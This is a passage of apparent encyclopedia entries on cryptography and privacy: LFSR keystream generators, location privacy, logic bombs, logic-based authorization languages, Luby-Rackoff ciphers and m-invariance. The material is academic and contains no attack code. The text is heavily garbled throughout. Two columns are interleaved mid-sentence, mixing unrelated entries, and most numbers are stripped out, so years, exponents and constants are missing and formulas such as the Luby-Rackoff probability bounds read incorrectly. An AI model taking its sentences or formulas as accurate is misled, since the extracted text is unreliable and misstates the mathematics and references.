feedback polynomial of a LFSR should always be chosen drome algorithm in cryptanalysis with applications. In: Advances
in cryptology CRYPTO. Lecture notes in computer science,
to be a primitive polynomial.
Keystream generators based on LFSRs. It is clear that an
LFSR should never be used by itself as a keystream gen-
erator. If the feedback coefficients of the LFSR are public,
the entire keystream can obviously be recovered from the
knowledge of any consecutive bits of the keystream, List Decoding
where is the linear complexity of the running-key (which
does not exceed the LFSR length). If the feedback coeffi- Decoding Algorithms
cients are kept secret, the entire keystream can be recov-
ered from any consecutive bits of the keystream by the
BerlekampMassey algorithm. Therefore, a commonly
L
used technique to produce a pseudorandom sequence Location Information (Privacy of)
which can be used as a running-key is to combine several
LFSRs in different ways in order to generate a linear recur- Claudio A. Ardagna
ring sequence which has a high linear complexity (e.g., Dipartimento di Tecnologie dellInformazione (DTI),
combination generator, filter generator...). Universit degli Studi di Milano, Crema (CR), Italy
Recommended Reading Synonyms

. Golomb SW () Shift register sequences. Revised edition, Location privacy
Aegean Park Press, Laguna Hills, CA
. Lidl R, Niederreiter H () Finite fields. Cambridge University Related Concepts
Press, Cambridge
Anonymity
. Rueppel RA () Analysis and design of stream ciphers.
Springer-Verlag, New York
Denition
Location information privacy is the right of mobile indi-
viduals to decide how, when, and for which purposes their
location information could be released to and managed by
Linear Syndrome Attack other parties.
Anne Canteaut Background

Project-Team SECRET, INRIA Paris-Rocquencourt, The rapid growth of mobile technologies and the
Le Chesnay, France widespread adoption of mobile communication devices
have fostered the development of new applications that
exploit the physical position of the users to offer
Related Concepts Location-Based Services (LBSs) for business, social, or
Fast Correlation Attack; Stream Cipher informational purposes. Today, several commercial and
L Location Information (Privacy of)
enterprise-oriented LBSs are already available and are laptops, PDAs) enable the delivery of services that use the
gaining popularity. In general, LBSs can be partitioned into physical locations of the users and call for an urgent and
the following categories []. careful consideration of privacy issues. Privacy concerns
become more critical since mobile devices are unable to
Locate-me services. They provide information about the
enforce restrictions on the location data scattering or to
position of the users. They should be used when autho-
avoid the data flow (unless the mobile devices are switched
rized third parties need to know the position of the
off). The worst-case scenario that some analysts have fore-
users for performing their tasks. A locate-me service
seen as a consequence of an unrestricted and unregulated
is at the basis of all the others LBS categories.
availability of location technologies recalls the well-known
Nearby-information services. They provide information
Big Brother stereotype: a society where the secondary
about the environment surrounding the location of
effect of location technologies (whose primary effect
a user (e.g., point of interest, context-aware tourist
is to enable the development of innovative and use-
guides, or weather and traffic alerts). A user subscribes
ful services) is a form of implicit total surveillance of
to these services and receives real-time information
individuals.
through her mobile device.
Location privacy can be defined as the right of indi-
Locate-friends and nearby-friends services. They pro-
viduals to decide how, when, and for which purposes their
vide information to subscribers about the real-time
location information could be released to or managed
location or proximity of other subscribers. They can
by other parties. The lack of location privacy protection
be used, for example, to provide services in the con-
could be exploited by adversaries and result in different
text of social networks or as industrial applications to
types of attacks: unsolicited advertising, when the loca-
coordinate workforces.
tion of a user could be exploited, without her consent,
Tracking services. They allow monitoring movements
to provide advertisements of products and services avail-
of the users and include telemetric services (i.e., the
able nearby the user position; physical attacks or harass-
observation of parameters of mobile objects such as
ment, when the location of a user could allow criminals
speed, direction of movement, and so on). They can
to carry physical assaults to specific individuals; users pro-
be used by online services that provide tracking of
filing, when the location of a user could be used to infer
children, employees, or vehicles, and warning about
other sensitive information, such as state of health, per-
dangerous areas.
sonal habits, or professional duties, by correlating visited
Personal-navigation services. They provide information
places or paths; denial of service, when the location of a user
about the path that has to be followed to reach a target
could motivate an access denial to services under some
location from the current location of the user. These
circumstances.
services rely on tracking services to gather the position
The concept of location privacy can assume several
of a user moving on the field.
meanings and pursue different objectives, depending on
While these applications offer great benefits to the the scenario in which users are moving and on the ser-
users, they also exhibit significant potential for privacy vices users are interacting with. Location privacy solutions
abuses since positioning and tracking systems are collect- can be aimed at protecting users by making their location
ing a huge amount of location information. Recent security information anonymous or keeping explicit identification,
incidents have revealed faulty data management practices but perturbing their location information to decrease the
and unauthorized trading of personal (including location) accuracy. Different categories of location privacy can then
information of the users. In this scenario, the improper be defined [].
exposure of location information could result in abuses,
such as stalking or physical harassment. Identity privacy. The main goal is to protect users iden-
tities associated with or inferable from location infor-
Theory mation. In this case, accurate location measurements
Geolocation solutions measure the position of mobile can be provided to location-based services, but the
devices by using several mobile technologies (e.g., GSM/ identity of the users must be kept hidden.
G, GPS, WiFi) that have been developed and can be Position privacy. The main goal is to perturb the loca-
exploited to compute location information. The boost in tion of the users as a way to protect their actual
terms of accuracy and reliability enjoyed by geolocation position. In particular, this type of location privacy
solutions in the recent years and the widespread adoption is suitable when users identities are required for the
of GSM/G, GPS, and WiFi devices (e.g., cellular phones, successful provisioning of a service.
Location Information (Privacy of) L
Path privacy. The main goal is to protect the privacy in a variety of environments. Also, although privacy is cur-
of those users that are continuously monitored during rently seen as an optional add-on by the LBS providers, in
a certain period of time. In this case, location-based the near future, it will represent one of the key aspects to
services will no longer receive a single location mea- the success of the LBSs and a fundamental parameter in
surement, rather they will gather a flow of position their selection by the users. In this context, solutions for the
samples that permit them to track the users and to infer protection of location information privacy might be inte-
sensitive areas they have visited. grated with LBSs to protect the privacy of the users, still
preserving the overall quality of the services.
Based on the above categories, three main classes
of location privacy techniques have been introduced:
anonymity-based, obfuscation-based, and policy-based. Open Problems and Future Directions
Anonymity-based techniques provide a class of solutions Some open problems and interesting research directions
for the protection of identity and path privacy. In partic- that need to be tackled by future research in the context of
ular, this class includes all solutions based on the notion location information privacy are as follows.
of anonymity, which is aimed at making an individual Untrusted mobile network operator. Current approaches
(i.e., her identity or personal information) not identifiable. usually assume untrusted location-based services,
Anonymity-based techniques [, ] are suitable for all those while they consider the mobile network operator as
contexts that do not need knowledge of the identity of a trusted powerful entity able to know and observe
the users, and their effectiveness depends on the number all the traffic in the network. All the requests and
of users physically located in the same area. Obfuscation- responses in a communication are mediated by the net-
based techniques provide a class of solutions that perturb work operator that knows, for all its users, which users
the location information still maintaining a binding with access which servers. In other words, it can reconstruct
the identity of the users. Obfuscation degrades the accu- exactly all the pairs user,LBS describing communi-
racy of the location information to provide privacy protec- cations of its users. A critical problem, and an inter-
tion. Obfuscation-based techniques [, ] are suitable for esting future research direction, is to provide a means
all those contexts that need knowledge of the identity of for users to communicate with LBSs without giving L
the users. Finally, policy-based techniques provide a class the operator the ability to observe the communication
of solutions based on the definition of privacy policies and profiles. The mobile operator, while considered trust-
for the protection of all privacy categories. worthy with respect to the availability and working of
In general, anonymity-based and obfuscation-based the network, should be restricted in terms of the view
techniques are dual categories. While anonymity-based and traffic it can reconstruct.
techniques have been primarily defined to protect iden- Path protection. Future work should extend current
tity privacy and are less suitable for protecting position solutions to better protect the privacy of the users that
privacy, obfuscation-based techniques are well suited for are monitored during a certain period of time. This
position privacy protection and unrelated with identity research area is particularly relevant given the ever-
privacy protection. As for path privacy, both anonymity- increasing interest in offering applications for tracking
based and obfuscation-based techniques are well suited users. Data about users moving in a particular area are
and able to provide the required degree of protection. collected by external services that use them to provide
Policy-based techniques are flexible and in general well their services effectively. In such a scenario, the need
suited for all location privacy categories, whereas their for privacy techniques aimed at protecting path privacy
management complexity could easily become overwhelm- becomes urgent.
ing for the users. Map constraints. Current privacy solutions do not con-
sider map constraints as a way to better protect the
Applications location privacy of the users. Topological information,
Many mobile network providers offer a variety of location- however, could help adversaries in reducing location
based services, such as point of interest proximity, friend- privacy by guessing identity of users and by produc-
finder, or location information transfer in case of an ing more accurate location information. An interesting
accident (e.g., emergency service). Such services nat- research direction is to enrich existing privacy tech-
urally raise privacy concerns. Users consider their physical niques with Geographical Information System (GIS)
location and movements as highly privacy sensitive, and maps, providing more robust solutions that take advan-
demand for solutions able to protect such an information tage from map information.
L Location Privacy
Recommended Reading for themselves when, how, and to what extent information
. Ardagna CA, Cremonini M, Damiani E, De Capitani di Vimercati about them is communicated to others []. Other more
S, Samarati P () Privacy-enhanced location services infor- restrictive definitions have also been proposed, for exam-
mation. In: Acquisti A, De Capitani di Vimercati S, Gritzalis S,
ple, the ability [. . .] to move through public space with
Lambrinoudakis C (eds) Digital privacy: theory, technologies and
practices. Auerbach (Taylor and Francis Group), New York
the expectation that [. . .] location will not be systemati-
. Ardagna CA, Cremonini M, De Capitani di Vimercati S, Samarati cally and secretly recorded for later use []. While some
P () An obfuscation-based approach for protecting location location information is also available on wired networks,
privacy. IEEE Transactions on Dependable and Secure Comput- location privacy is particularly relevant in wireless net-
ing, ():, January-March
works due to users significantly higher degree of mobility.
. Ardagna CA, Jajodia S, Samarati P, Stavrou A () Providing
mobile users anonymity in hybrid networks. In: Proceedings of
Examples of the broad range of wireless location privacy
the th European Symposium on Research in Computer Security concerns are:
(ESORICS ), Athens, Greece, September
A cellular phone user may want to make a phone call
without the phones position recorded by the cellular
phone network.
The owner of a sensor network deployed for target
Location Privacy tracking in a hostile environment may want to con-
ceal the location of sensors, the location of detected
Location Information (Privacy of) events, and the location of the data sinks which collect
information.
The user of an automotive navigation service may want
to share location traces for traffic congestion monitor-
Location Privacy in Wireless ing without revealing identity and exact places visited.
Networks
These examples illustrate that in different situations device
Marco Gruteser owners may want to control the release of location infor-
Wireless Information Network Laboratory, Department mation with respect to wireless service providers, cellular
of Electrical and Computer Engineering, Rutgers service providers, application service providers, or eaves-
University, North Brunswick, NJ, USA droppers on the wireless channel. A common challenge
is that location information is often implicitly revealed by
network usage or activity. For example, the cellular base
Synonyms station through which a phone call originates reveals the
Wireless locational privacy approximate location of the caller.
The potential risks associated with uncontrolled reveal-
ing of location information were enumerated in the Loca-
Related Concepts tion Privacy Protection Act of considered in the
Access Control; Anonymity; Entropy United States Congress []. Examples are the drawing of
inferences about users medical condition, nightlife, or
political activities from the places users visit.
Denition
The ability of a user or owner of a wireless device to control
to which party, to what degree, and at what times informa- Theory
tion about the devices geographic location is revealed. A breach of location privacy requires that personally iden-
tifiable information is revealed with the location data,
that is, the data can be uniquely linked to an individ-
Background ual person. Such personally identifiable information can
This definition of location privacy is derived from the take many forms, such as names and addresses of persons
more general concept of information privacy. It is com- or device/network identifiers (e.g., the Global System for
monly characterized as the claim for informational self- Mobile Communications International Mobile Subscriber
determination, originally defined by Alan Westin as the Identifier or an Internet Protocol address), which can be
claim of individuals, groups, or institutions to determine easily linked to a person. It is also possible, however, that
Location Privacy in Wireless Networks L
the location information itself can be linked to individual additional information about the users travels from L
persons and thus can be considered personally identifiable (beyond what is already known in O). A privacy metric
information. In actual usage, often some information about that quantifies this additional information is the time-to-
location or identity is revealed, implying that location pri- confusion metric []. Intuitively, it measures the duration
vacy should be understood in terms of a degree of privacy, that an adversary can follow a user in the dataset La from
rather than absolute privacy. The definition of metrics for the observation where the user was reidentified. Strong
this degree of location privacy remains an active area of anonymization requires that time to confusion is bounded
research. and small. Techniques for stronger anonymization include
This understanding gives rise to two approaches for the path cloaking [] and mix zones [].
design of privacy-enhancing technologies: controlling the In a related model [] also considering query privacy,
release of personally identifiable data or filtering out per- La = (l , l , . . . , lk ) but with each li = (query, cloaking area,
sonally identifiable information to render the data truly time) from one of m users U. Again the adversary has a
anonymous. dataset of location observations, but the adversary should
The first approach resembles access control and the not be able to reidentify any of the location records, since
main challenge is designing usable mechanisms. Standard this would compromise query privacy in addition to the
web-tools such as privacy policy preference mechanisms tracking concerns described above. The anonymizer can
that can provide guidance to users and make automatic replace the exact location coordinates with a cloaking area,
decisions are also applicable to wireless applications. One that is, an uncertainty region for the user location, to satisfy
common difference of access control mechanisms specifi- the k-anonymity criterion.
cally developed for location information, however, is that
the rules governing access frequently depend on location
and time of access. They also differ, in that they may reduce Applications
the fidelity of location information, for example, provid- Typical designs of wireless communication networks gen-
ing only city-level location data although a precise GPS erate personally identifiable information at many levels
location is available. of the network stack. At the lower levels of the network
The second approach allows sharing of some loca- stack any message transmitted can be localized and gener-
L
tion information without revealing personally identifiable ate a location record. Users can therefore only control the
records and is referred to as anonymization []. In this release of location information toward the service provider
model, a set of location records L are filtered or perturbed by controlling where and when they communicate (and
by an anonymizer A, resulting in an anonymous dataset deactivate the device at other times) or by using special-
La = A(L), which can be shared with others. It is assumed ized privacy-enhancing technologies to mask location or
that the adversary, say Eve, obtains access to La and seeks identifiers (e.g., identifier-free protocols or protocols that
to reidentify users whose records are contained in La . frequently change network and devices identifiers).
In one model focused on tracking, La = (l , l , . . ., lk ) At the physical layer, radio waveforms carry a finger-
with each li = (lat, lon, time, heading, speed) from one print of the analog radio front end that transmitted the
of m users U. The dataset does not identify which location signal. On a set of identical wireless LAN radios, modu-
record li belongs to which user uj in U and does not iden- lation level characteristics such as center frequency offset
tify for any two location updates li , lj whether they were have been shown to allow distinguish one out of more
generated by the same user (i.e., the order in the dataset than transmitters. Any signal transmitted can also be
does not allow any such conclusion). Eve has an external located using location fingerprints (of the signal), or tech-
location dataset O with location observations or restricted niques based on triangulation and trilateration. Privacy-
spaces for some of the users, where each observation has enhancing techniques at this layer include reducing the
the form (uj , li ). The adversary also has a model of human frequency of transmissions, and decreasing transmission
movement that allows the adversary to assign a likelihood power (or increasing directionality) to reduce the chance
and can be used to reconstruct paths of individual users of signal observation and localization.
from the location dataset (i.e., link two location updates At the medium access layer, devices usually carry a
li , lj in La to the same user). The adversary can compro- unique address and their approximate location can be
mise location privacy if any of the observations in O can determined based on proximity to the wireless access point
be uniquely linked to a location record in L to reidentify or cell tower that they associate with. A key privacy-
a location record and the adversary can learn significant enhancing technique at the medium access control layer is
L Logic Bomb
the frequent switching of medium access control addresses

to reduce the chance of identification and tracking of the Logic Bomb
device [].
At the network layer, Internet protocol addresses act Sean W. Smith
as an identifier that sometimes can be linked to an indi- Department of Computer Science, Dartmouth College,
vidual and they also describe the location of the device in Hanover, NH, USA
the network topology. This topological location can often
be mapped to geographic location with about city-level Related Concepts
granularity. The routes on which packets are sent can also Insider Threat
reveal information about the approximate location of the
source or destination node []. Privacy-enhancing tech- Denition
nologies at the network layer include route randomization, The term logic bomb refers to an attack by an inside adver-
onion routing, and reducing the granularity of location sary who plants code to automatically trigger some negate
information maintained deep inside the network. action at some point later in time.
Finally, location-based applications, which are fre-
quently used over wireless networks, can collect loca- Background
tion information together with application-level identi- The term insider threat refers to the general problem posed
fiers. Location is frequently obtained from Global Posi- when the adversary may be internal to an organization,
tioning System receivers, which can make it especially already within the security perimeter and possessing priv-
precise. ileges that may be abused.
While policy-based access control and anonymity are
most commonly used at the application layer, these tech- Theory and Applications
niques can be adapted for use at all layers of the network Within this problem space, one type of adversary is a
stack. For example, the time-to-confusion criterion can disgruntled employee angry about termination. Such an
be used to evaluate tracking risks from several wireless adversary may carry out an attack by (while still having
messages. appropriate privileges) planting code to automatically trig-
ger some negate action at some point later in time (perhaps
when the adversarys privileges have been removed). The
Recommended Reading term logic bomb refers to such attacks (and has also been
. Westin A () Privacy and freedom. Atheneum, New York
used to describe similar attacks carried by parties other
. Blumberg A, Eckersley P () On locational privacy, and
how to avoid losing it forever, Electronic Frontier Foundation than disgruntled insiders, such as national intelligence
Whitepaper, August operators).
. S, Location Privacy Protection Act of . United States Claburn [] discusses a recent logic bomb incident that
congressional record made it into court.
. Krumm J () A survey of computational location privacy. Pers
Ubiquit Comput ():
. Hoh B, Gruteser M, Xiong H, Alrabady A () Preserving
Recommended Reading
privacy in GPS traces via density-aware path cloaking. In: Pro- . Claburn T () Fannie Mae contractor indicted for logic bomb.
ceedings of the th ACM conference on Computer and commu- Information Week. January ,
nications security (CCS), Alexandria,
. Beresford AR, Stajano F () Location privacy in pervasive
computing. IEEE Pervasive Comput ():
. Gruteser M, Grunwald D () Anonymous usage of location-
based services through spatial and temporal cloaking. In: Logic-Based Authorization
Proceedings of First ACM/USENIX international conference Languages
on mobile systems, applications, and services (MobiSys), San
Francisco, CA, May
Piero A. Bonatti
. Greenstein B, McCoy D, Pang J, Kohno T, Seshan S, Wetherall
D () Improving wireless privacy with an identifier-free link Dipartimento di Scienze Fisiche, Universit di Napoli
layer protocol. In: Proceeding of the th international conference Federico II, Napoli, Italy
on mobile systems, applications, and services, Breckenridge, CO,
June
. Kamat P, Zhang Y, Trappe W, Ozturk C () Enhancing source-
Related Concepts
location privacy in sensor network routing. In: ICDCS Flexible Authorization Framework (FAF); Logic-Based
Proceedings of th IEEE international conference, Columbus Authorization Languages
Logic-Based Authorization Languages L
Denition programs under the stable model semantics). A few

A logic-based authorization language is an executable approaches are based on description logics [, ].
specification language for expressing access control poli- Entailment is not the only reasoning task relevant to
cies by means of axioms written in a formal logic. logic-based authorization languages. In some trust negoti-
ation frameworks [, , ], agents have to find out a set
Background of elements E in their portfolio of credentials such that
Logic-based authorization languages have been intro- P C E entails a desired authorization A, where P is
duced by Woo and Lam [] with two main goals in mind: a given policy and C a given context. This kind of infer-
giving authorization policies a well-defined, unambigu- ence is called abduction in the automated reasoning jargon.
ous semantics, and enhancing the expressiveness of pol- Abduction has been proposed also as a technique for policy
icy languages to match the flexibility needs of application analysis and explanation [, ]. Another relevant reasoning
domains. In the Flexible Authorization Framework [] task is policy comparison, a variant of a query containment
these ideas have been further elaborated by placing more problem useful for compliance checking (as in PP) and
structure on policies; the syntactic restrictions adopted in policy validation [].
this work provide policy authoring guidelines and guar- The interested reader may find more details in a survey
antee good semantic and computational properties. Sub- on logic-based access control languages [] and a tutorial
sequently, a rich literature has been extending the expres- on rule-based policies [].
siveness of logic-based authorization languages to address
the specificities of trust negotiation and usage control. Implementations
Several logic-based authorization languages have actually
Theory been implemented and deployed, including Cassandra [],
Logic-based authorization languages typically adopt a KAoS [], PeerTrust [], Protune [], Rei [] and Trust-
vocabulary of distinguished predicates that denote security- Builder []. In perspective, rule-based trust negotiation
related concepts such as authorizations, digital credentials, frameworks may take advantage of the Rule Interchange
etc. Such a reserved vocabulary can be extended with Format WC standard (www.w.org//rules/) to pub-
application-dependent symbols to model policy evaluation
L
lish and exchange policies. The frameworks based on
contexts, including, for example, user profile information, Description Logics typically rely on the WC standard
groups, roles, object hierarchies, data models, and histo- OWL (www.w.org//OWL/).
ries. Role-based and attribute-based access control can be
modeled as special cases. Open Problems and Future Directions
In this framework, an authorization A (encoded as a Some of the major open issues concern usability and usage
logical atom) is granted by a policy P and a context C (both control. Both issues are shared by all policy languages,
encoded as a set of axioms) if, and only if, A is entailed by including those that are not based on any formal logic.
P C. The precise notion of entailment adopted depends End users are typically not good at writing their poli-
on the formal logic underlying the authorization language; cies (see, e.g., []). Issues such as the trade-off between
a common requirement is that entailment as well as expressiveness and usability are still largely unresolved,
the other reasoning tasks mentioned below should be and authoring and validation tools currently provide lit-
efficiently decidable. tle help. Concerning usage control, there is currently no
Often the underlying logic is nonmonotonic, as general reliable and scalable technique for enforcing and
required to model default policies such as open and monitoring the usage restrictions prescribed by a policy on
closed policies and authorization inheritance with over- a piece of information after it has been disclosed.
riding. Further nonclassical features include constructs for
distributed evaluation [, ], temporal reasoning [] and Recommended Reading
dynamic logics [] (for time-dependent and usage control . Becker MY, Nanz S () The role of abduction in declarative
policies), paraconsistent semantics [] (for conflict reso- authorization policies. In: Hudak P, Warren DS (eds) PADL, Lec-
lution), and deontic modalities [] (to associate obligations ture notes in computer science, vol , Springer, Heidelberg,
to authorizations). pp
. Becker MY, Sewell P () Cassandra: distributed access con-
Most logic-based authorization languages are based on
trol policies with tunable expressiveness. In: th IEEE inter-
logic programming languages that nicely match expres- national workshop on policies for distributed systems and
siveness requirements and enjoy low asymptotic com- networks (POLICY ), IEEE Computer Society, Yorktown
plexity (e.g., quadratic time in the case of stratified logic Heights, pp
L Longhand
. Bieber P, Cuppens F () Expression of confidentiality poli- . Uszok A, Bradshaw JM, Johnson M, Jeers R, Tate A, Dalton J,
cies with deontic logic. In: Deontic logic in computer science: Aitken JS () KAoS policy management for semantic web
normative system specification, Wiley, Chichester, pp services. IEEE Intel Sys ():
. Bonatti PA, Mogavero F () Comparing rule-based policies. . Woo TYC, Lam SS () Authorizations in distributed systems:
In: th IEEE international workshop on policies for distributed a new approach. J Comput Sec ():
systems and networks (POLICY ), IEEE Computer Society,
Palisades, New York, pp
. Bonatti PA, Olmedilla D () Driving and monitoring provi-
sional trust negotiation with metapolicies. In: th IEEE inter-
national workshop on policies for distributed systems and Longhand
networks (POLICY ), IEEE Computer Society, Stockholm,
Sweden, pp
. Bonatti PA, Olmedilla D () Rule-based policy represen-
Handwriting Analysis
tation and reasoning for the semantic web. In: Antoniou D,
Assmann U, Baroglio C, Decker S, Henze N, Patranjan PL, Tolks-
dorf R (eds) Reasoning web, Lecture notes in computer science,
vol , Springer, Heidelberg, pp Luby-Racko Ciphers
. Bonatti PA, Olmedilla D, Peer J () Advanced policy expla-
nations on the web. In: Brewka G, Coradeschi S, Perini A,
Traverso P (eds) ECAI, Frontiers in artificial intelligence and Lars R. Knudsen
applications, vol , IOS Press, Amsterdam, pp Department of Mathematics, Technical University
. Bonatti PA, Samarati P () A uniform framework for reg- of Denmark, Lyngby, Denmark
ulating service access and information release on the web.
J Computer Sec ():
. Bonatti PA, Samarati P () Logics for authorization and secu- Related Concepts
rity. In: Chomicki J, van der Meyden R, Saake G (eds) Logics for Pseudorandom Permutation; Secret Key Encryption;
emerging applications of databases, Springer, Berlin, pp
Symmetric Cryptography
. Bruns G, Huth M () Access-control policies via Belnap
logic: Elective and efficient composition and analysis. In: CSF,
IEEE Computer Society, Pittsburg, PA (USA), pp Denition
. Gavriloaie R, Nejdl W, Olmedilla D, Seamons KE, Winslett M A Luby-Rackoff cipher is a Feistel cipher where in each
() No registration needed: how to use declarative policies round the nonlinear function used is assumed to be cho-
and negotiation to access sensitive resources on the semantic
sen uniformly at random from the set of all such functions.
web. In: st European semantic web symposium (ESWS ),
Lecture notes in computer science, vol , Heraklion, Crete. These ciphers are mainly of theoretical interest.
. Jajodia S, Samarati P, Sapino ML, Subrahmanian VS () Flexi- Background
ble support for multiple access control policies. ACM Trans Data In their celebrated paper [] Luby and Rackoff showed how
Sys ():
to construct n-bit Pseudorandom Permutations from
. Joshi JB, Bertino E, Latif U, Ghafoor A () A generalized tem-
poral role-based access control model. IEEE Trans Knowl Data n-bit random functions. The constructions use three and
Eng (): four rounds in Feistel networks with randomly chosen
. Kagal L, Finin TW, Joshi A () A policy language for a perva- functions in the round functions. Let L and R be the left,
sive computing environment. In: th IEEE international work- respectively, the right n-bit halves of a n-bit input. Then
shop on policies for distributed systems and networks (POLICY
one round of a Feistel network is defined as follows:
), IEEE Computer Society, Lake Como, Italy, pp
. Kelley PG, Hankes Drielsma P, Sadeh N, Cranor LF () User- F(L, R) = (R, L f (R)),
controllable learning of security and privacy policies. In: st
workshop on artificial intelligence and security (AISec ), where f : {, } {, }n is a randomly chosen function.
n
ACM, Rotterdam, The Netherlands, pp In order to make the encryption and decryption routines
. Kolovski V, Parsia B, Katz Y, Hendler JA () Representing web
similar, it is custom to swap the halves of the output of
service policies in OWL-DL. In: Gil Y, Motta E, Benjamins VR,
Musen MA (eds) International semantic web conference, Lec- the last round in an r-round Feistel network. The entry on
ture notes in computer science, vol , Springer, Heidelberg, Feistel ciphers provides an overview of practical designs.
pp
. Lee AJ, Winslett M, Perano KJ () Trustbuilder: a recon- Theory
figurable framework for trust negotiation. In: IFIP Advances in
Luby and Rackoff s result says that in order to be able
information and communication technology (IFIP AICT ),
Springer, West Lafayette, IN (USA), pp
to distinguish the three-round construction from a ran-
. Pretschner A, Hilty M, Basin D () Distributed usage control. domly chosen n-bit function with probability close to one,
Commun ACM, (): an attacker needs at least n/ chosen plaintexts and their
Luby-Racko Ciphers L
corresponding ciphertexts. Such a permutation is called it was shown that four-round super Pseudorandom Per-
pseudorandom []. However, if an attacker can mount a mutations can be constructed from only one or two
chosen plaintext and a chosen ciphertext attack, he is able (pseudo)random n-bit functions. In the four-round con-
to distinguish the construction from a randomly chosen struction, the first and fourth functions can be replaced by
n-bit function using two chosen plaintexts and one cho- simpler combinatorial constructions achieving the same
sen ciphertext. To see this, choose two plaintexts with left level of security as the original construction as shown in
halves L and L , where L L and with equal right [], which is also a good reference for a survey of this area.
halves R. From the corresponding ciphertexts (T , S ) and Coppersmith [] analyzed the four-round construc-
(T , S ) compute the ciphertext (T L L , S ) and tion. It was shown that with nn chosen plaintexts the
get the corresponding plaintext. Then the right half of this round functions can be identified up to symmetry. With
plaintext equals R S S , whereas this would be the case n texts .% of the functions are identified.
only with probability n in the random case. Luby and There is a trivial upper bound of O(n ) for distinguish-
Rackoff also showed that in a combined chosen plaintext ing constructions with r rounds for any r from a randomly
and chosen ciphertext attack for the four-round construc- chosen n-bit function. This follows from the fact that the
tion, an attacker will need roughly n/ chosen texts to win Luby-Rackoff constructions are permutations and with n
with probability close to one. Such a permutation is called chosen distinct plaintexts, the resulting ciphertexts will
super pseudorandom. all be distinct, whereas a collision is likely to occur for a
With q chosen plaintexts one can distinguish the three- truly random function []. It has been studied how to dis-
round construction from a random function with proba- tinguish the Luby-Rackoff constructions from randomly
bility chosen n-bit permutations (bijective mappings). How-
n+
p = eq(q)/ , ever, in the cases using O(n/ ) inputs this does not make
much of a difference, since in these cases the probabil-
which is close to one for q n/ []. Choose plaintexts
ity to distinguish a n-bit randomly chosen permutation
(Li , R) for i = . . . , q, where the Li s are (pair-wise) dis-
from a n-bit randomly chosen function is small. Also,
tinct and R is a fixed, arbitrary value. Denote by (Ti , Si )
for a fixed number of rounds, r, it has been shown that
the corresponding ciphertexts. Then for the three-round
there is an upper bound of O(n ) for distinguishing the
L
construction with probability p one finds at least one pair
r-round construction from a randomly chosen n-bit per-
(i, j) for which i j, Li Lj = Ti Tj and Si = Sj .
mutation []. More recent results indicate that with a larger
For a random n-bit function and with q n/ this hap-
number of rounds, the lower bound for the security of the
pens with only very small probability. Also, with roughly
Luby-Rackoff constructions approaches n .
n/ chosen plaintexts one can distinguish the four-round
construction from a random function. Choose plaintexts
(Li , R) for i = . . . , cn/ , where c is an integer, the Li s
Recommended Reading
are (pairwise) distinct and R is a fixed, arbitrary value.
. Coppersmith D () Luby-Rackoff: four rounds is not enough.
Denote by (Ti , Si ) the corresponding ciphertexts. Then for Technical report RC . IBM, Yorktown Heights
the four-round construction one expects to find c pairs of . Luby M, Rackoff C () How to construct pseudorandom
plaintexts for which Li Lj = Si Sj , whereas for a ran- permutations from pseudorandom functions. SIAM J Comput
dom n-bit function one expects to find only c/ such pairs ():
. Naor M, Reingold O () On the construction of pseudoran-
[]. These results show that the inequalities by Luby and
dom permutations: LubyRackoff revisited. J Cryptol ():
Rackoff are tight, that is, to distinguish the three-round and . Patarin J () New results on pseudorandom permutations
four-round constructions from a randomly chosen func- generators based on the DES scheme. In: Feigenbaum J (ed)
tion with probability close to one, an attacker needs at least Advances in cryptology CRYPTO : proceedings. Lecture
but not much more than n/ chosen plaintexts and their notes in computer science, vol . Springer, Berlin, pp
. Patarin J () How to construct pseudorandom and super pseu-
corresponding ciphertexts.
dorandom permutations from one single pseudorandom func-
The Luby-Rackoff result has spawned a lot of research tion. In: Rueppel RA (ed) Advances in cryptology EUROCRYPT
in this area, and many different constructions have been : proceedings, Balatonfred, May . Lecture notes in
proposed, of which only a few are mentioned here. In [] computer science, vol . Springer, Berlin, pp
M
, and the fact that Bob has been hospitalized before
m-Sequence (and thus has a tuple in the microdata). Then, the adver-
sary can find out that the first tuple in Table is associated
Maximal-Length Sequences with Bob, namely, Bob must have contracted dyspepsia.
Here, the attributes Age and Zip Code are referred to as the
quasi-identifier attributes, as they can be combined to pin-
point individuals. On the other hand, the attribute Disease
M-Invariance is referred as the sensitive attribute, as it captures the private
information the hospital aims to protect.
Xiaokui Xiao Generalization [] is a popular method for preserving
School of Computer Engineering, Nanyang Technological privacy in the scenario like the above. Given a microdata
University, Singapore table, generalization first divides the tuples into several QI-
groups, such that each group contains a sufficiently diverse
Related Concepts set of sensitive values []; after that, the QI values in each
-Diversity; Generalization; k-Anonymity; Micro- QI-group is transformed into a uniform format. For exam-
data Protection ple, Table illustrates a generalized version of Table . The
transformation is based on five QI-groups, each of which
Denition is assigned a group ID as indicated in the first column of
m-invariance is a technique for protecting privacy when Table . Suppose that the hospital publishes Table . The
publishing the snapshots of dynamic datasets that contain previous adversary can no longer uniquely decide Bobs
sensitive personal information. disease, since both of the first two tuples in Table can
be matched to Bob, i.e., Bobs disease may be dyspepsia or
Theory bronchitis.
Organizations like census bureaus and hospitals maintain One drawback of generalization is that it cannot sup-
large datasets (referred to as microdata) that contain per- port republication of the microdata after the data is
sonal information (e.g., census data and medical records). updated with tuple insertions or deletions. For instance,
Such data collections are of significant research value, and suppose that a hospital releases patients records quarterly,
there is much benefit in making them publicly available. but each publication includes only the results of diagnoses
Nevertheless, as the data is sensitive in nature, proper mea- in the months preceding the publication time. Table
sures must be taken to ensure that its publication does not shows the microdata for the first release, at which time
endanger the privacy of the individuals that contributed the hospital publishes the generalization in Table . The
the data. A canonical solution to this problem is to modify microdata at the second release is presented in Table .
the data before releasing it to the public, such that the mod- The tuples of Alice, Andy, Helen, Ken, and Paul have been
ification prevents inference of private information while deleted (as they correspond to diagnoses made over
retaining statistical characteristics of the data. months ago), while new tuples (with names italicized)
For example, suppose that a hospital wants to release have been inserted. Accordingly, the hospital publishes the
the microdata in Table while preventing an adversary generalization in Table .
to infer the disease of any individual. A naive solu- Even though both Tables and have been general-
tion is to remove the attribute Name and publish the ized, an adversary can still precisely determine the disease
rest of the data, which, however, may lead to privacy of a patient by exploiting the correlation between the two
breach if the adversary knows the Age and Zip Code val- snapshots. Assume, again, an adversary has Bobs age and
ues of each individual in advance []. For instance, con- Zip code, and knows that Bob has a record in both Tables
sider that the adversary knows Bobs age , Zip code and (i.e., Bob was admitted for treatment within six
M M-Invariance
M-Invariance. Table Microdata T M-Invariance. Table Generalization T
Name Age Zip Code Disease Group ID Age Zip Code Disease
Bob Dyspepsia [, ] [k, k] Dyspepsia
